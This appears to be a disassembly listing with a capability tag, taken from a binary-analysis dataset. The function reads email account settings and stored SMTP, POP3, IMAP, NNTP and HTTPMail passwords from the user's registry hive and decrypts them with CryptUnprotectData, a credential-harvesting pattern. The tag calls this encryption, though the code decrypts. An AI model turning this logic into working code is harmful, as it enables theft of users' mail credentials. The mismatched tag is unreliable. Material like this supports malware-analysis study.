Function at 0x4318a8
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
and dword [ebp - 0x50], 0
push ebx
push esi
mov esi, 0x47bcf8
mov dword [ebp - 0x94], str.SMTP_Server
push edi
mov edi, ecx
mov dword [ebp - 0x98], esi
mov dword [ebp - 0x90], str.POP3_Server
lea ebx, [ebp - 0x94]
mov dword [ebp - 0x8c], str.POP3_User_Name
mov dword [ebp - 0x88], str.SMTP_User_Name
mov dword [ebp - 0x84], str.NNTP_Email_Address
mov dword [ebp - 0x80], str.NNTP_User_Name
mov dword [ebp - 0x7c], str.NNTP_Server
mov dword [ebp - 0x78], str.IMAP_Server
mov dword [ebp - 0x74], str.IMAP_User_Name
mov dword [ebp - 0x70], str.Email
mov dword [ebp - 0x6c], str.HTTP_User
mov dword [ebp - 0x68], str.HTTP_Server_URL
mov dword [ebp - 0x64], str.POP3_User
mov dword [ebp - 0x60], str.IMAP_User
mov dword [ebp - 0x5c], str.HTTPMail_User_Name
mov dword [ebp - 0x58], str.HTTPMail_Server
mov dword [ebp - 0x54], str.SMTP_User
mov edx, dword [ebp + 8]
push 0
push ecx
push 0
push esi
mov ecx, 0x80000001
call fcn.0043261d
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x4319ba
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00432710
push 1
mov edx, 0x47beec
mov ecx, edi
call fcn.004327cd
mov esi, dword [ebp - 4]
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00432710
push 1
mov edx, 0x47b644
mov ecx, edi
call fcn.004327cd
push esi
call fcn.004436e1
add esp, 0xc
mov esi, dword [ebx]
add ebx, 4
test esi, esi
jne 0x431951
and dword [ebp - 0x18], 0
lea ebx, [ebp - 0x28]
mov esi, 0x47bef0
mov dword [ebp - 0x28], str.IMAP_Password2
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], str.NNTP_Password2
mov dword [ebp - 0x20], str.HTTPMail_Password2
mov dword [ebp - 0x1c], str.SMTP_Password2
mov edx, dword [ebp + 8]
lea eax, [ebp - 8]
and dword [ebp - 8], 0
push 0
push ecx
push eax
push esi
mov ecx, 0x80000001
call fcn.0043261d
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x431a59
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00432710
push 1
mov edx, 0x47beec
mov ecx, edi
call fcn.004327cd
mov eax, dword [ebp - 8]
mov ecx, edi
mov esi, dword [ebp - 4]
mov edx, esi
shr eax, 1
push eax
call fcn.00432710
push 1
mov edx, 0x47b644
mov ecx, edi
call fcn.004327cd
push esi
call fcn.004436e1
add esp, 0x14
mov esi, dword [ebx]
add ebx, 4
test esi, esi
jne 0x4319ee
and dword [ebp - 0x30], 0
lea eax, [ebp - 0x40]
mov esi, str.POP3_Password
mov dword [ebp - 0x40], str.IMAP_Password
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x3c], str.NNTP_Password
mov dword [ebp - 0x38], str.HTTP_Password
mov dword [ebp - 0x34], str.SMTP_Password
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
lea eax, [ebp - 8]
and dword [ebp - 8], 0
push 0
push ecx
push eax
push esi
mov ecx, 0x80000001
call fcn.0043261d
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x431b8b
mov ecx, dword [ebp - 8]
cmp ecx, 1
jbe 0x431b8b
mov al, byte [ebx]
cmp al, 1
je 0x431b3f
cmp al, 2
jne 0x431b84
dec ecx
lea eax, [ebx + 1]
xor edx, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], edx
test eax, eax
je 0x431b84
lea eax, [ebp - 0x14]
push eax
push 1
push edx
push edx
push edx
push edx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x431b84
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x431b84
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 8]
jae 0x431b32
push ecx
push eax
lea eax, [ebx + 1]
mov dword [ebp - 0xc], 1
push eax
call fcn.0043efb0
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0xc], 0
je 0x431b84
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00432710
push 1
mov edx, 0x47beec
mov ecx, edi
call fcn.004327cd
pop ecx
pop ecx
lea esi, [ebx + 1]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00432710
push 1
mov edx, 0x47b644
mov ecx, edi
call fcn.004327cd
pop ecx
pop ecx
push ebx
call fcn.004436e1
pop ecx
mov eax, dword [ebp - 4]
mov esi, dword [eax]
add eax, 4
mov dword [ebp - 4], eax
test esi, esi
jne 0x431a90
and dword [ebp - 0x18], 0
lea ebx, [ebp - 0x20]
mov esi, str.POP3_Port
mov dword [ebp - 0x20], str.SMTP_Port
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], str.IMAP_Port
mov edx, dword [ebp + 8]
lea eax, [ebp - 4]
and dword [ebp - 4], 0
push 0
push ecx
push eax
push esi
mov ecx, 0x80000001
call fcn.0043261d
add esp, 0x10
mov dword [ebp - 0xc], eax
test eax, eax
je 0x431c37
cmp dword [ebp - 4], 4
jne 0x431c37
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00432710
push 1
mov edx, 0x47beec
mov ecx, edi
call fcn.004327cd
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x4c]
push dword [esi]
push 0x47c060
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x4c]
mov ecx, edi
call fcn.004327cd
push esi
call fcn.004436e1
pop ecx
pop ecx
mov esi, dword [ebx]
add ebx, 4
test esi, esi
jne 0x431bbb
pop edi
pop esi
pop ebx
leave
ret